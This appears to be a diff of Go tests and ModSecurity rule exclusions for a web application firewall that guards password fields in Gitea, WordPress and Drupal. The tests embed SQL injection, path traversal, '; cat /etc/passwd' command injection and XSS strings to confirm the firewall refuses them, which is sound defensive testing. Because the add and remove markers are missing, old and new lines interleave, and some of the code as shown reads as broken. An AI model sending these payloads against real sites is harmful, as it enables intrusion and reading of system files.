func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
for _, attack := range []string{
|
||||
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
|
||||
"<img src=x onerror=x()>",
|
||||
} {
|
||||
body := passwordBody(t, r, names, attack)
|
||||
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score >= threshold {
|
||||
t.Errorf("%s %s %v %q refused: %+v", r.method, r.target, names,
|
||||
attack, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// wantPasswordAttacksRefused checks that a script tag and a javascript: link,
|
||||
// each sent as the whole password in the field name of r's body, are refused
|
||||
// while bodies are read.
|
||||
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
|
||||
body := passwordBody(t, r, []string{name}, attack)
|
||||
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold {
|
||||
t.Errorf("%s %s %s %q let through: %+v", r.method, r.target, name,
|
||||
attack, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// passwordFields names the password fields one form or JSON body sends to
|
||||
// target. contentType is formData or jsonBody.
|
||||
type passwordFields struct {
|
||||
target, contentType string
|
||||
names []string
|
||||
}
|
||||
|
||||
// wantPasswordFieldsPass checks that the random passwords pass in each field
|
||||
// of fields, that the attacks that pass in a password pass in all of a
|
||||
// target's fields sent together, and that a script tag or a javascript: link
|
||||
// in any one field is still refused. Sending the attacks together keeps the
|
||||
// test cheap: a body of them is refused if any one field checks them.
|
||||
func wantPasswordFieldsPass(t *testing.T, fields []passwordFields) {
|
||||
t.Helper()
|
||||
|
||||
for _, sent := range fields {
|
||||
t.Run(sent.target+" "+sent.contentType, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||
r := request{http.MethodPost, sent.target, []string{sent.contentType}}
|
||||
|
||||
typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
|
||||
name, _, _ := strings.Cut(header, ":")
|
||||
wantPasswordAttacksPass(t, r, sent.names...)
|
||||
|
||||
return strings.EqualFold(name, "Content-Type")
|
||||
})
|
||||
if recorded.Body == "" && !typed {
|
||||
got, _ := inspectBody(t, defaults, r, "")
|
||||
if got.Score >= threshold {
|
||||
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
got, _ := inspectBody(t, bodies, r, recorded.Body)
|
||||
if got.Score >= threshold {
|
||||
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
|
||||
r.method, r.target, recorded.Body, got)
|
||||
for _, name := range sent.names {
|
||||
wantRandomPasswordsPass(t, r, name)
|
||||
wantPasswordAttacksRefused(t, r, name)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestReadingBodiesOnlyAddsMatches checks that every rule a recorded
|
||||
// request with a body matches at the defaults also matches while bodies
|
||||
// are read, with a score no lower. It checks every 40th such request of
|
||||
// each app, as recorded and with an SQL injection added to its query, which
|
||||
// the defaults must match.
|
||||
func TestReadingBodiesOnlyAddsMatches(t *testing.T) {
|
||||
func TestGiteaPasswordsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||
// gitea's password fields, each sent to one of the paths that takes it.
|
||||
fields := []passwordFields{
|
||||
{"/user/login", formData, []string{passwordKey}},
|
||||
{"/user/sign_up", formData, []string{passwordKey, retypeKey}},
|
||||
{"/user/link_account_signin", formData, []string{passwordKey}},
|
||||
{"/user/link_account_signup", formData, []string{passwordKey, retypeKey}},
|
||||
{"/user/activate", formData, []string{passwordKey}},
|
||||
{"/user/recover_account", formData, []string{passwordKey}},
|
||||
{"/user/settings/change_password", formData, []string{passwordKey, retypeKey}},
|
||||
{
|
||||
"/user/settings/account", formData,
|
||||
[]string{"old_password", passwordKey, retypeKey},
|
||||
},
|
||||
{"/user/settings/account/delete", formData, []string{passwordKey}},
|
||||
{"/-/admin/users/new", formData, []string{passwordKey}},
|
||||
{"/-/admin/users/1/edit", formData, []string{passwordKey}},
|
||||
{"/admin/users/1/edit", formData, []string{passwordKey}},
|
||||
{"/api/v1/admin/users", jsonBody, []string{passwordKey}},
|
||||
{"/api/v1/admin/users/alice", jsonBody, []string{passwordKey}},
|
||||
}
|
||||
|
||||
for _, name := range []string{
|
||||
"drupal-requests.txt",
|
||||
"mastodon-requests.txt",
|
||||
"mediawiki-requests.txt",
|
||||
"nextcloud-requests.txt",
|
||||
"vaultwarden-requests.txt",
|
||||
"wordpress-requests.txt",
|
||||
wantPasswordFieldsPass(t, fields)
|
||||
}
|
||||
|
||||
func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
// These fields skip the rules only when the query has no field of the
|
||||
// same name. An SQL injection in the query is refused.
|
||||
for _, sent := range []struct{ path, field string }{
|
||||
{nextcloudSignIn, passwordField},
|
||||
{mediawikiAPI, passwordField},
|
||||
{mediawikiAPI, "lgpassword="},
|
||||
{mediawikiAPI, retypeKey + "="},
|
||||
{mediawikiAccountChange, passwordField},
|
||||
{mediawikiAccountChange, retypeKey + "="},
|
||||
{mediawikiSignUp, retypeKey + "="},
|
||||
{"/wiki/Special:UserLogin", retypeKey + "="},
|
||||
{"/user/sign_up", passwordField},
|
||||
{"/user/settings/account", "old_password="},
|
||||
{wpLogin, "pass1="},
|
||||
{wpLogin, "post_password="},
|
||||
{"/wp-admin/profile.php", "pass2="},
|
||||
{"/wp-json/wp/v2/users", passwordField},
|
||||
{drupalRegister, "pass%5Bpass1%5D="},
|
||||
{"/user/1/edit", "current_pass="},
|
||||
{"/auth/challenge", "form_challenge%5Bcurrent_password%5D="},
|
||||
{"/login/confirm", passwordField},
|
||||
{"/settings/personal/changepassword", "newpassword="},
|
||||
{"/apps/encryption/ajax/adminRecovery", "confirmPassword="},
|
||||
{"/admin", "token="},
|
||||
} {
|
||||
withBody := 0
|
||||
r := request{
|
||||
http.MethodPost, sent.path + "?" + sent.field + "'%20OR%20'1'='1",
|
||||
[]string{formData},
|
||||
}
|
||||
|
||||
for _, recorded := range recordedRequests(t, name) {
|
||||
if recorded.Body == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
withBody++
|
||||
if withBody%40 != 1 {
|
||||
continue
|
||||
}
|
||||
|
||||
separator := "?"
|
||||
if strings.Contains(recorded.Target, "?") {
|
||||
separator = "&"
|
||||
}
|
||||
|
||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||
wantNoMatchLost(t, defaults, bodies, r, recorded.Body)
|
||||
|
||||
r.target += separator + "id=" + sqlInjection
|
||||
if atDefault := wantNoMatchLost(t, defaults, bodies, r,
|
||||
recorded.Body); len(atDefault.RuleIDs) == 0 {
|
||||
t.Errorf("%s %s matched nothing at the defaults", r.method, r.target)
|
||||
}
|
||||
got, _ := inspectBody(t, crs, r, sent.field+"example")
|
||||
if got.Score < threshold {
|
||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// wantNoMatchLost checks that every rule defaults matches in r with body,
|
||||
// bodies matches too, with a score no lower, and returns what defaults
|
||||
// found.
|
||||
func wantNoMatchLost(
|
||||
t *testing.T, defaults, bodies *coreruleset.CoreRuleSet, r request, body string,
|
||||
) coreruleset.Result {
|
||||
t.Helper()
|
||||
// The password exclusions apply in front of every app. So each field keeps
|
||||
// every rule on a nearby path that its exclusion does not name.
|
||||
func TestPasswordExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
atDefault, _ := inspectBody(t, defaults, r, body)
|
||||
whileRead, _ := inspectBody(t, bodies, r, body)
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
for _, id := range atDefault.RuleIDs {
|
||||
if !slices.Contains(whileRead.RuleIDs, id) {
|
||||
t.Errorf("%s %s: %d matched at the defaults only", r.method, r.target, id)
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, sent := range []struct{ target, contentType, name string }{
|
||||
{"/user/settings/profile", formData, passwordKey},
|
||||
{"/api/v1/user/repos", jsonBody, passwordKey},
|
||||
{"/admin/users/overview", formData, "token"},
|
||||
{"/wp-admin/options.php", formData, "pass1"},
|
||||
{"/wp-admin/post.php", formData, "post_password"},
|
||||
{"/user/password", formData, "pass[pass1]"},
|
||||
{"/settings/apps", formData, passwordKey},
|
||||
{"/ocs/v2.php/apps/spreed/api/v4/room", jsonBody, passwordKey},
|
||||
{"/settings/profile", formData, "form_challenge[current_password]"},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.target, []string{sent.contentType}}
|
||||
|
||||
body := passwordBody(t, r, []string{sent.name}, "' OR '1'='1")
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
||||
t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got)
|
||||
}
|
||||
}
|
||||
|
||||
if whileRead.Score < atDefault.Score {
|
||||
t.Errorf("%s %s scored %d at the defaults and %d while bodies are read",
|
||||
r.method, r.target, atDefault.Score, whileRead.Score)
|
||||
}
|
||||
|
||||
return atDefault
|
||||
}
|
||||
|
||||
func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||
func TestGiteaAttacksAreRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, r := range giteaRequests(t) {
|
||||
if got := inspect(t, crs, r); got.Score >= threshold {
|
||||
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
|
||||
}
|
||||
}
|
||||
|
||||
// In q too, off gitea's search pages.
|
||||
for _, parameter := range []string{"id", "q"} {
|
||||
for _, attack := range []string{
|
||||
@@ -804,46 +1067,6 @@ const (
|
||||
wpTags = "/wp-json/wp/v2/tags"
|
||||
)
|
||||
|
||||
// recordedRequest is a line of a file of recorded requests in testdata.
|
||||
type recordedRequest struct {
|
||||
Method string `json:"method"`
|
||||
Target string `json:"target"`
|
||||
Headers []string `json:"headers"`
|
||||
Body string `json:"body"`
|
||||
}
|
||||
|
||||
// recordedRequests returns the recorded ordinary requests in the file name
|
||||
// in testdata, each with its body.
|
||||
func recordedRequests(t *testing.T, name string) []recordedRequest {
|
||||
t.Helper()
|
||||
|
||||
path := filepath.Join("testdata", name)
|
||||
|
||||
text, err := os.ReadFile(path) //nolint:gosec // a file in testdata
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var requests []recordedRequest
|
||||
|
||||
for line := range strings.Lines(string(text)) {
|
||||
if strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
|
||||
var r recordedRequest
|
||||
|
||||
err := json.Unmarshal([]byte(line), &r)
|
||||
if err != nil {
|
||||
t.Fatalf("%q: %v", line, err)
|
||||
}
|
||||
|
||||
requests = append(requests, r)
|
||||
}
|
||||
|
||||
return requests
|
||||
}
|
||||
|
||||
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
|
||||
// but reading bodies up to the largest SWW_WAF_BODY_LIMIT.
|
||||
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
@@ -909,33 +1132,13 @@ func wordpressAttackTargets(attack string) []string {
|
||||
}
|
||||
}
|
||||
|
||||
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||
func TestWordPressAttacksAreRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
||||
|
||||
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
|
||||
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||
|
||||
// As in wantRecordedRequestsPass, a request with a body passes at
|
||||
// the defaults if it passes while bodies are read.
|
||||
crs := defaults
|
||||
if recorded.Body != "" {
|
||||
crs = bodies
|
||||
}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, recorded.Body)
|
||||
if got.Score >= threshold {
|
||||
t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
for _, attack := range []string{
|
||||
sqlInjection,
|
||||
"..%2F..%2Fwp-config.php",
|
||||
@@ -1421,6 +1624,36 @@ func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
|
||||
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
|
||||
}
|
||||
|
||||
func TestWordPressPasswordsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
signIn := request{http.MethodPost, wpLogin, []string{formData}}
|
||||
|
||||
wantRandomPasswordsPass(t, signIn, "pwd")
|
||||
wantPasswordAttacksPass(t, signIn, "pwd")
|
||||
wantPasswordAttacksRefused(t, signIn, "pwd")
|
||||
}
|
||||
|
||||
func TestWordPressPasswordFieldsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
pass := []string{"pass1", "pass2"}
|
||||
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{wpLogin + "?action=resetpass", formData, pass},
|
||||
{wpLogin + "?action=postpass", formData, []string{"post_password"}},
|
||||
{"/wp-admin/profile.php", formData, pass},
|
||||
{"/wp-admin/user-edit.php?user_id=2", formData, pass},
|
||||
{"/wp-admin/user-new.php", formData, pass},
|
||||
{"/wp-admin/network/user-edit.php?user_id=2", formData, pass},
|
||||
{"/wp-admin/network/profile.php", formData, pass},
|
||||
{"/wp-admin/user/profile.php", formData, pass},
|
||||
{"/wp-json/wp/v2/users", jsonBody, []string{passwordKey}},
|
||||
{"/wp-json/wp/v2/users/me", formData, []string{passwordKey}},
|
||||
{"/index.php?rest_route=/wp/v2/users/2", jsonBody, []string{passwordKey}},
|
||||
})
|
||||
}
|
||||
|
||||
func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -1478,6 +1711,9 @@ const injection = "1' OR '1'='1"
|
||||
// scriptTag is a script injection, not escaped.
|
||||
const scriptTag = "<script>alert(1)</script>"
|
||||
|
||||
// pathTraversal is a path traversal, not escaped.
|
||||
const pathTraversal = "../../etc/passwd"
|
||||
|
||||
// readingBodies returns the Core Rule Set as sww runs it by
|
||||
// default, but reading bodies up to bodyLimit.
|
||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
|
||||
@@ -184,6 +184,92 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
|
||||
|
||||
# The password, pass, skips each rule that random passwords set off.
|
||||
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
|
||||
"id:900819,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/"
|
||||
|
||||
# The passwords when signing up, changing the password and adding a user skip
|
||||
# the same rules:
|
||||
# pass[pass1], pass[pass2], current_pass: the forms at /user/register,
|
||||
# /user/<id>/edit and /admin/people/create
|
||||
# json.pass.value, json.pass.0.value, json.pass.0.existing: a client signing up
|
||||
# or changing the password in Drupal's JSON format
|
||||
# json.data.attributes.pass.value, .existing: a JSON:API client doing the same
|
||||
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/register|user/[0-9]+(?:/edit)?|admin/people/create|jsonapi/user/user(?:/[^/]+)?)$" \
|
||||
"id:900820,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/"
|
||||
|
||||
# A person's name and email address, when signing up, when editing an
|
||||
# account and when commenting without an account. A name of python3 refused
|
||||
# signing up, and python3@example.com refused saving an account. An address
|
||||
|
||||
@@ -19,6 +19,12 @@ const drupalSignIn = "/user/login"
|
||||
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
|
||||
const drupalJSONSignIn = "/user/login?_format=json"
|
||||
|
||||
// drupalRegister is Drupal's sign-up form.
|
||||
const drupalRegister = "/user/register"
|
||||
|
||||
// drupalJSONRegister is Drupal's sign-up in its JSON format.
|
||||
const drupalJSONRegister = "/user/register?_format=json"
|
||||
|
||||
// drupalJSONPasswordReset is Drupal's password reset in its JSON format.
|
||||
const drupalJSONPasswordReset = "/user/password?_format=json"
|
||||
|
||||
@@ -31,12 +37,6 @@ const drupalEditAccount = "/user/2/edit"
|
||||
// drupalName is the field for a person's name, as the start of a form body.
|
||||
const drupalName = "name="
|
||||
|
||||
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "drupal-requests.txt")
|
||||
}
|
||||
|
||||
// drupalAttacks are an SQL injection, a path traversal and a script
|
||||
// injection, as a query value.
|
||||
//
|
||||
@@ -109,10 +109,9 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{reply, drupalName + attack},
|
||||
{drupalSignIn, "pass=" + attack},
|
||||
{drupalSignIn, drupalName + attack},
|
||||
{"/fr/user/login", drupalName + attack},
|
||||
{"/user/register", drupalName + attack},
|
||||
{drupalRegister, drupalName + attack},
|
||||
{drupalEditAccount, "mail=" + attack},
|
||||
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack},
|
||||
@@ -172,6 +171,45 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestDrupalPasswordPasses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, r := range []request{
|
||||
{http.MethodPost, drupalSignIn, []string{formData}},
|
||||
{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
|
||||
} {
|
||||
t.Run(r.target, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRandomPasswordsPass(t, r, "pass")
|
||||
wantPasswordAttacksPass(t, r, "pass")
|
||||
wantPasswordAttacksRefused(t, r, "pass")
|
||||
})
|
||||
}
|
||||
}
|
